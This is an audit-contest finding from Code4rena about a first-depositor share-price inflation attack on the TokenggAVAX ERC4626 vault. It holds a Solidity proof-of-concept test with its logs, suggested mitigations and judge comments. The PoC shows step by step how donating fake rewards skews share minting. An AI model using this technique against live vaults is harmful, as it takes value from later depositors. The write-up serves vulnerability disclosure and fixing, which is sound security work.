Platform: Code4rena
Start Date: 15/12/2022
Pot Size: $128,000 USDC
Total HM: 28
Participants: 111
Period: 19 days
Judge: GalloDaSballo
Total Solo HM: 1
Id: 194
League: ETH
Rank: 97/111
Findings: 1
Award: $14.91
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xdeadbeef0x
Also found by: 0xLad, 0xNazgul, 0xSmartContract, 0xbepresent, Arbor-Finance, Breeje, HE1M, IllIllI, Qeew, Rolezn, SEVEN, SamGMK, SmartSek, TomJ, WatchDogs, ak1, btk, ck, datapunk, dic0de, eierina, fs0c, hansfriese, koxuan, ladboy233, peanuts, rvierdiiev, sces60107, tonisives, unforgiven, yongskiws
14.9051 USDC - $14.91
Reporting this issue as medium severity as a leak of value.
Solmate's ERC4626 convertToShares calculates shares as assets * totalSupply / totalAssets(). It is possible to exploit this function by depositing 1 wei of asset in exchange 1 share (totalSupply = 1) right after the creation of the TokenggAVAX contract, and then transfer fake rewards to the contract inflating the totalAssets(). This can cause the share price to be inflated to as high as 1:1e18, which will be used as the base for all subsequent deposits. As a result, early depositors will receive a larger share of the vault during the first cycle. Additionally, the rounding precision of deposited tokens may also be affected, resulting in a lesser amount of shares being received by the depositor.
Add following test to TokenggAVAX.t.sol.
import "@openzeppelin/contracts/utils/Strings.sol"; function fastForward(uint256 time) internal { uint256 blocks = time / 12 > 0 ? time / 12 : 1; vm.warp(block.timestamp + time); vm.roll(block.number + blocks); string memory s = string.concat("FFWD to new block timestamp ", Strings.toString(block.timestamp), " - block number ", Strings.toString(block.number)); emit log_string("\r"); emit log_string(s); } function logPriceDetails() internal { emit log_string("\r"); string memory s = string.concat("Share price ", Strings.toString(ggAVAX.convertToAssets(1)), " - total assets ", Strings.toString(ggAVAX.totalAssets()), " - total supply ", Strings.toString(ggAVAX.totalSupply()), " - balanceOf ", Strings.toString(wavax.balanceOf(address(ggAVAX)))); emit log_string(s); } function logDeposit(uint256 amount, address receiver) internal { uint256 shares = ggAVAX.deposit(amount, receiver); string memory s = string.concat("Deposit amount ", Strings.toString(amount), " - shares amount ", Strings.toString(shares)); emit log_string("\r"); emit log_string(s); } function testPriceManipulation() public { vm.startPrank(alice); wavax.approve(address(ggAVAX), type(uint).max); // init total supply as 1:1 share with token as one. logDeposit(1 wei, alice); logPriceDetails(); // transfer fake rewards to TokenggAVAX contract to inflate totalAsset() emit log_string("\r"); emit log_string("Transfer 100 ethers of fake rewards"); wavax.transfer(address(ggAVAX), 100 ether - 1 wei); logPriceDetails(); fastForward(ggAVAX.rewardsCycleEnd()); for(int i=0; i<5; i++) { emit log_string("\r"); emit log_string("Sync rewards"); ggAVAX.syncRewards(); // warp fastForward(ggAVAX.rewardsCycleLength()); logPriceDetails(); logDeposit(200 ether, alice); // converts to 2 share logDeposit(200 ether - 1 wei, alice); // converts to 1 share logDeposit(500 ether, alice); // converts to 5 shares logDeposit(500 ether - 1 we, alice); // converts to 2 shares } vm.stopPrank(); }
Running 1 test for test/unit/TokenggAVAX.t.sol:TokenggAVAXTest [PASS] testBugManipulation3() (gas: 721501) Logs: Deposit amount 1 - shares amount 1 Share price 1 - total assets 1 - total supply 1 - balanceOf 1 Transfer 100 ethers of fake rewards Share price 1 - total assets 1 - total supply 1 - balanceOf 100000000000000000000 FFWD to new block timestamp 1209601 - block number 100801 FFWD to new block timestamp 2419201 - block number 201601 Share price 100000000000000000000 - total assets 100000000000000000000 - total supply 1 - balanceOf 100000000000000000000 Deposit amount 200000000000000000000 - shares amount 2 Deposit amount 199999999999999999999 - shares amount 1 Deposit amount 500000000000000000000 - shares amount 4 Deposit amount 499999999999999999999 - shares amount 3 FFWD to new block timestamp 3628801 - block number 302401 Share price 136363636363636363636 - total assets 1499999999999999999998 - total supply 11 - balanceOf 1499999999999999999998 Deposit amount 200000000000000000000 - shares amount 1 Deposit amount 199999999999999999999 - shares amount 1 Deposit amount 500000000000000000000 - shares amount 3 Deposit amount 499999999999999999999 - shares amount 3 FFWD to new block timestamp 4838401 - block number 403201 Share price 152631578947368421052 - total assets 2899999999999999999996 - total supply 19 - balanceOf 2899999999999999999996 Deposit amount 200000000000000000000 - shares amount 1 Deposit amount 199999999999999999999 - shares amount 1 Deposit amount 500000000000000000000 - shares amount 3 Deposit amount 499999999999999999999 - shares amount 3 FFWD to new block timestamp 6048001 - block number 504001 Share price 159259259259259259259 - total assets 4299999999999999999994 - total supply 27 - balanceOf 4299999999999999999994 Deposit amount 200000000000000000000 - shares amount 1 Deposit amount 199999999999999999999 - shares amount 1 Deposit amount 500000000000000000000 - shares amount 3 Deposit amount 499999999999999999999 - shares amount 3 FFWD to new block timestamp 7257601 - block number 604801 Share price 162857142857142857142 - total assets 5699999999999999999992 - total supply 35 - balanceOf 5699999999999999999992 Deposit amount 200000000000000000000 - shares amount 1 Deposit amount 199999999999999999999 - shares amount 1 Deposit amount 500000000000000000000 - shares amount 3 Deposit amount 499999999999999999999 - shares amount 3
n/a
This exploit can only works if the starting supply is either 0 or a very small number or, alternatively, if everyone withdraws and the total supply of shares becomes 0. This issue can be resolved by ensuring that someone always deposits tokens first, so that the total supply is high enough to make this exploit irrelevant. As a last resort, tokens can be forcibly deposited during the construction of the vault to prevent this issue from occurring, unless someone is watching the vault factory contract.
#0 - 0xminty
2023-01-04T02:18:58Z
dupe of #815
#1 - c4-judge
2023-01-08T13:11:28Z
GalloDaSballo marked the issue as duplicate of #209
#2 - c4-judge
2023-01-29T18:38:25Z
GalloDaSballo changed the severity to 3 (High Risk)
#3 - c4-judge
2023-02-08T08:18:36Z
GalloDaSballo marked the issue as satisfactory